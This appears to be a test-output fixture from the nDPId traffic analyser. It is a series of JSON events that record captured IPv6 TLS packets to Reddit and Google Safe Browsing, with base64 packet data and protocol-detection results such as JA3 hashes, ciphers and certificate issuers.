+00453{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551898,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc7vvL1mOYojA7gBALMB0aAAABAQgKwtcyo6l039o="} +01860{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551899,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc7vvL1mOYojA7gBgLMAYfAAABAQgKwtcyqKl039oWAwMAUgIAAE4DA5cXHYHmYi5ZIU5p\/EBIxaUgqTosV7dgrwyjOTcYllxRAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK0QsACs0ACsoABiwwggYoMIIFEKADAgECAhANHffE8Agd\/Q1A66O6NFNxMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGcxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEVMBMGA1UEAwwMKi5yZWRkaXQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+maVKOkGuIpLUWBcrOoi0zOK7ui1z2eaWzzMtForAMdGnBV+IZaQtyQ5++Gfv1TbOrAOKUntMp6luNeClruZSCzltfkOpk9eHJ9XWEUPrpFFCLbBVu91sl0EYvdWsplUlEgilO1zdDXr0UiyU0ptz14arWfA79ESEjl3EMIcCgfAumn5d9uOQEkbOWAogF0Ed53rsoVVQoW+HVFVqdUlQ0boiQBdec9lKKDB8DbAEfdCC45zVjGzA8Hhw4fmx1l4AlDqP2tLE2qNm2GhXjctrmexVjFG2t4nyihXllf92wvsEEGRZ8X9pxVJTd\/tfteIXPbe+u5DIE1ApPYcpfCBwIDAQABo4IC6DCCAuQwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFHHgUNHngFL7IxRlnUOnjTGqVmkmMCMGA1UdEQQcMBqCCnJlZGRpdC5jb22CDCoucmVkZGl0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj"} +00879{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":25,"source":"reddit.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1605291684452,"flow_last_seen":1605291684551,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56558,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01871{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551900,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc7vvL2nuYojA7gBgLMFaKAAABAQgKwtcyqKl039plcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSzGvAAAEAwBHMEUCIA4cEDk5PHlewpHzj26HOiQYpOqP2omD5+Ok3XvOGjvLAiEAscSe5jGq7+A1eA9CosURVXiFG10O2uG7a3d0exugn8YAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSzHWAAAEAwBIMEYCIQCxbG96NckU2JDBIgJPBbdq8isaryVs6CFbEIVpmICYFgIhAK4\/cwv3QOvL6\/r1eBSuNjH8ea1wkWPPafYHa\/T2zS4cMA0GCSqGSIb3DQEBCwUAA4IBAQDJdKHctElcuqyCkmp8mpTUGkGnB3LVzx6AlsMpQm1P2E\/FO7nlknf9cCDmw9zsWs4Vwy0WyWm2VITQHFibHvPRL9Dqdq57g8bbFomQLOayWwM4ymsEk1sOwkg9GmGUttJoxtFhWMTaKNgiwa1KzMnOenD0aOCisNjqYwuAwjXNR4prj\/NaGsDOdAIquq\/5ysyZ9ZTflWiVnQbilOt4e\/blGzRhaSd4gTYdYkgV\/84UmKwjSekYiL2ioVV1mVoDRtSfMV9CdwjyekkC849Oi21tKfCnsyl+9Ipp3oESKGdNZ5966KOZhQo0yght\/ROeeRQR8c5vS0fKeKnkHGBz240cAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza\/P96"} +01865{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551901,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc7vvL3pOYojA7gBgLMM8PAAABAQgKwtcyqKl039qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMDgwMjAyNTFaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQDR33xPAIHf0NQOujujRTcYAAGA8yMDIwMTEwODAyMDI1MVqgERgPMjAyMDExMTUwMTE3NTFaMA0GCSqGSIb3DQEBCwUAA4IBAQBY+1SnH0u3ho+Y8niHMzRj8wWXBoT45DsNzWXZsZidgbnEjA4\/L6gnKwvitI4d+SX6Al6xofYE"} +01147{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":27,"source":"reddit.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":8,"flow_first_seen":1605291684452,"flow_last_seen":1605291684551,"flow_tot_l4_data_len":3933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":491,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56558,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.reddit.com","server_names":"reddit.com,*.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.reddit.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"DB:E9:D5:FE:EB:EF:68:34:55:FD:62:BA:C9:BB:04:D4:E3:22:18:81"}} +01152{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551902,"pkt_caplen":601,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":601,"pkt_l4_len":547,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAiMGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc7vvL4quYojA7gBgLMFN7AAABAQgKwtcyqKl039qMeNOajMtxBxZ+LVRuvUxmRODoEmjzZpUwTQHXVXdAaqEqvizNUSG+LT4vLrN7\/K4TwkEU6rRjdvl7TGJTrtCTMr2vchF3+WWRcRrbCxS19I7FpLOu0+uRp0eAJTMGW1sjp2Tl1N1sPVLUR76tvsG1UZjWq6EozImj5ue5\/NjN5pIuabHxZABwArW3iblcTRJthPe\/eXEt+vWXP7bK6pfiHfdKhr+WbtteQ+gSEhA1KkKMKnmBC2LheG29uhxtvvQ3X+xQV+7F9j4WAwMBLAwAASgDAB0gUTna1j4lwYhBFGWWa3rD\/TO\/Qx+PVAN4dBArFbBVRXoIBAEALKSfhTE2bN7816BFOLtPArPedh19RaOBDyr3wDzf1smx+1mQPHNSN0D3MM9JwGT1qQiHaIZZbMTp75jHhm4G4FLrPteYlQAKJdRJYqWyRv3jsnXyDlsX8LL0fdoPwctVZI0OyKyhoHU7FCI26Cq22Te6wDY22ejjl9awmnY0KF+pE5vJg5g7j8I6i8ho5YnVfJJ1tF1Gk+gnoOsNUFiY27\/h2sEtRRc1Q0JYp\/oS0773pL6HNIpk\/irLss34OZ5ss0rOdXmaAzqAz43ymAUR4dZAo3xlrkx4JcYMFyWfCuyJazPitBLY1HHtUwvVP55N2s15xeiqd8MohRr4fochUhYDAwAEDgAAAA=="} +02094{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551902,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUF9HimtuLgBgLMAXzAAABAQgKwtcyqdTdYCkWAwMAegIAAHYDAyxqQCyJ+\/p9v0sM70GdFaOaA8i+QB+JpxEaL6zCVpBKIFs4TU2zCegfACNAAt1BZk2uYfR4cn7k081CAzn0Xsa\/EwEAAC4AMwAkAB0AIBYmxOm\/pN4Cm7\/ObCGR\/lswQqVl90+9TVIwu8O5aiQgACsAAgMEFAMDAAEBFwMDCtudTTt5WWpl+4ijjJgv20GlbsMfX+lCDDrP6YV8fCHm0ONTkUMeEqZJDXqI1naLsZQBnLrGuEGaIFOk853uZeOzG0Ca3zjOsj+vWFop68psOZEJApD2\/DvhOPxFhzGnpqjPubT1H+7m57nKQ4IctTxJo\/tPG70UFIPodqVCdiZuGXFVz4zD7mNXs3TfnxOOfOYqvUeXjncdKc315bOCViyJCdTlJz\/1a9DylcbzCZRH6UR87vY0CXjZIeg4hUcZEtJblnY6B9pgurj3zbTAzqKq9p23EB0dBZXIXmsUt9\/NjVzao45gvSmmRg1Qd2UOkuiHcWQS8ZUtX1qot7Wg0pwedVV1Sc5sSfT1qbzj7Ve2opjgQHjUCi3F6vlmb7uGdbgJ3aEj4lV69VjvsLSbQtuNkLDFdlL1n15XcyAp0vaQX1xa34pvvt+tKTuNnFMCUIMBN1NMWq+MlR+NgkCNk4locp8Y9IatedWbHWAtpRQ51YahzmdbFVZ7alpGIe1kyN4tGpAO2qwGszRSkhNSZ9Rt1VRSrlVWkqCse4PcqdGejE6eik5DHL5D7av1bjCIIdZD5bQH1Mq07s6B99mcvxcdS6mBCD1HQv93O6oJM3gdavwknMr5zoRKMj8LHJ8BfZrb7mZfSeuqjo+WYV\/Glo33uInHlBxxyGt+WV08V1NrDHN654MV5ahK1BXYdgi4IZMY\/ng8CPl79Ap\/Ix7w5mcxw5dj6cPnpdOwbeSCOyvTnN5+deonvkUBcDq\/HgBOt9dNZkQ+GsgMkMBB\/7JaTWrFYG9SJ9ihEuZEFDD414BV1x42himjhKK9ApA7OjhaZlfnjX+vs+NpvYA3AVFny+rlvYKpt8I37b5cuvdJ5sbtvKsdRzYoR2uX+E4xfn0FjfhxcLJsYxZRPcrQc388Km41v8rtTQO\/UURrRRIzvNA1r9cPfksh9aFtmMB3JcG451tb1JiUmzY+D818mZ35G3QOYLCq6k0lS3X+IbxlpmiopNwBPWa6kIF7zEBwfunqGrb8h8waLfz15Wqv8daSc6Ikqrt3Id609WGS88VxSls322AXHOxELyiu+ZCxCwW0pwsC\/zab0tfdz0a5wyo+P9BCLAB\/xtvH\/CDcaRoqw54Bgpk8aI\/i1I22o\/wUWAtuzDWjY9lhXEPXoaAH58XB1TZyrwe4hZ5xxchIXExCIjo3QHZUN+iSq5JWEn13NH3ebbZxg9fQMycOGMgmuzIJQA1hbaQwTEMY\/daldRnEz1Gl00yS90G40it3uHQs0I\/2aJltesvwSPWxuNGlupHRwAlQ293daGvFDd0vMIVpegje7PMNSaEZh6M28BIkRS5QG2Vg2Sy0rbRQdva4\/CoKDtRQlTJh\/nfeXOotzjLDP1BpTSRhLxZbmuEtlVR4zSNccqxed1Tv1fvR7j7JsvG8rQ=="} +00888{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":29,"source":"reddit.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1605291684451,"flow_last_seen":1605291684551,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40030,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"safebrowsing.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02102{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551903,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUHInimtuLgBgLMP8XAAABAQgKwtcyqdTdYCmDoP62bcLLuA9jzCFA1FiNXVBO5u1qV1mRXZIQr6EFYs9Wiu1EouFhjMSNmfFN3PuvxsyARWZ0+vRcBCXqcC3nVgxVzfzZwvbnsBsbIhY74aO91ydALgk++mTkxcbx+S+yhU9WtXBlamQcc74+rqwP9LLjTvQoOeQPhEQ0UIvKQgz5+RvbhR3Je37qiHqpbXF5mc\/wSzeQJy109TACDbryuxld7HCP2d0cHz\/3lNp5j4+pAwirVp48aQKy8c9C0a5wMGx0UDYbnTpFOFqV8BGS3\/szTdivdmDH23XxCapNuRlZLz5gWftFqMKHZS4xNcTdm2W0zvRSj\/ekslvXyJA4YBotb5U9eV5RCmuqg50gD20m5LiAAevCnMyUcoYBko8toAOx4zZF9y+qOBgpFUPpc5DsW9SrKXGt6\/zjHfWEiJbOrNjQGsWg8o0BancXKhQM7J2lnq2s2YADmted9hLRvvK2dQvtIMMY3OQqU00Kh\/PzzTQnkdrD7PgmyYPuV4+Od+3\/cdkDRoaA0Fa29wTx\/6kohDuDTHiM9OKNdT5yEOBkJ4rpSpJjC5bVyuCPeaE\/jtoxPnMBPiUuIhuEYlB\/OpMk+td31HHhdA7Jx878d\/UdvH2Nneo93AgOtD5hAhdO0Mg1\/Zce8w\/9Mmfo7ST6Lt9lYtu24aneeou9D5Ztj+5ihfSmfnBd7PEZ5mMhaaHBTWR8GnKdjJdPKcZfdA431ocim35S62pCRzHM1YDxJZwcfb6NBrBcUd\/0hATFv\/vckj\/qWixJtvenBZCvhT8TI0bzuYJoLD7\/QkyGJNaTfRLBoG6Jwj07U0YP57stYSEj4B1Cde\/uIWsNxtzKxpijoO\/vCPwjefININSmV\/\/E2xF9vMSbQqz+A9tiW8KZ3iccmonsvVzU2gMju1qftj8\/O7c6Nx9e0vS7LXhl\/VnQ++6TAzO\/YkHDM7TDlTUyk859b+azgY2U7AOtiZ3P4qsjLgqu9HggXhlzowK6COZMGCl5e8cr9c9DJJoKv4k3P2IYpaw6uEcXbqDojaObPh1y\/cFl+MA9QpXAUZoKFDb+xOMJOY9Ox1pdkZB38+J8tpgcXED07TenIDm7BTKLNkKSo2T2PK6ChbUUJm4n8MM8mgL4BUwqg5ULsiHj1kUbhH1kR24gZOOfdHMiW2t2ru2Q17Oroo25MfKQwZrcIsPzAEuIcQYkpwkrl5GIuARGla10OhO49ZFJm45vpTCAm5uwpx4yCHDb+TtuY5IQrTI2rNOMFmJofohxVShcFKhsWRWvNOfjzogaqJEkN3eXvDwS0x1GH8tUCOc6kl81\/em7C64GTKVU2NH9Lg9143C\/MzMFP1Jb66rAOoJssb0ZGXyTpVYnDzbz\/TEByO\/2EMuVkPP272o8A8t2Houhndcsv6+rYXIjLeArjSua+hAvtec0cKfAbi7QZ80iRFCPbg0XeDEr1NwJryoKravwaLFZrfwTyFik46nJCpBN5RSGaZ\/fJSyIGK2ssujYPwArANArwfy9hvnqQZARpm3JA4uF3yUnxEEwa4dysEZb\/JRNlPq7858L4lj5rGXUTWUVJC3iU\/sLqjz68uZsMlsSEcZ4PnSlRDSk+bQCkw=="} +01136{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551904,"pkt_caplen":587,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":587,"pkt_l4_len":533,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhUGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUIUHimtuLgBgLMBXnAAABAQgKwtcyqdTdYCnRUSyaXq+o1Mz\/Na5UOuD0rOmyUGf7wnkHbymXVp\/d8d3Mw0AejjunEvbXo9vJmIj1l9NGmuTl31icW\/h0ktkPwt2IxJYT0hhUB5lXYirLj\/A44IxLCgoiXReuGd7GuLULAYrkUe2eI3A8SNESnaPkHxyJqed6ssBsC74ZKLTFvfJkpNtTyTyk1jNi4uQrxgxNnH\/Ok6elqDr0iXf1EjYPDP6wK6dhguLJgiYwT7zTTfGOkVLeNPuJ7t0qWhVg7asWffkr63bEx\/VOh0QJ7ZVJpq+36hhxV+MzRoqz3kGI0sy7mmd2yMmKyLH9+H0Tuvgf73MdrzUKX2OmDsrr9af6nwVxFlgG\/5PTYCtkVrtrNQwICPXc8fNV9EzTcFOu0i9Emt4Z6HUm7hgbikLi1yamdHN+WTUTDX2YJ1lgDdaVYX\/j\/oQRoCLNAtmXPmItCAc6ct8j2GmFHANterOQdyjJrlU\/Eg1p2W\/nq\/YVvClol7NxmrJpzRKbKA74lQvYnSNV0FCVzaa13poxEeSaw\/ZkzumAKlXuxQXLtPG8FndFvIViLfD1r7usoVqkna0txXX3QgUHdQ4XoeZD5Xfr8mm465wixwDj1JuTHWYHKY4wxB5BUssqEKAQ1qW5zrj2duWhCDU2IE6YzQ74h1rWe+xfqsZ4z+A="} +00452{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551915,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiMDv7y9p7gBAB9SH3AAABAQgKqXTgG8LXMqg="} +00452{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551926,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiMDv7y96TgBAB8x3hAAABAQgKqXTgG8LXMqg="} +00452{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551935,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiMDv7y+KrgBAB7RnPAAABAQgKqXTgG8LXMqg="} +00452{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551941,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiMDv7y+SugBAB6RfQAAABAQgKqXTgG8LXMqg="} +00451{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551948,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDERGACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka24uCVByJgBAB9WN1AAABAQgK1N1ga8LXMqk="} +00452{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551956,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDERGACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka24uCVCFBgBAB8l7AAAABAQgK1N1ga8LXMqk="} +00452{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551964,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDERGACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka24uCVCM2gBAB71zOAAABAQgK1N1ga8LXMqk="} 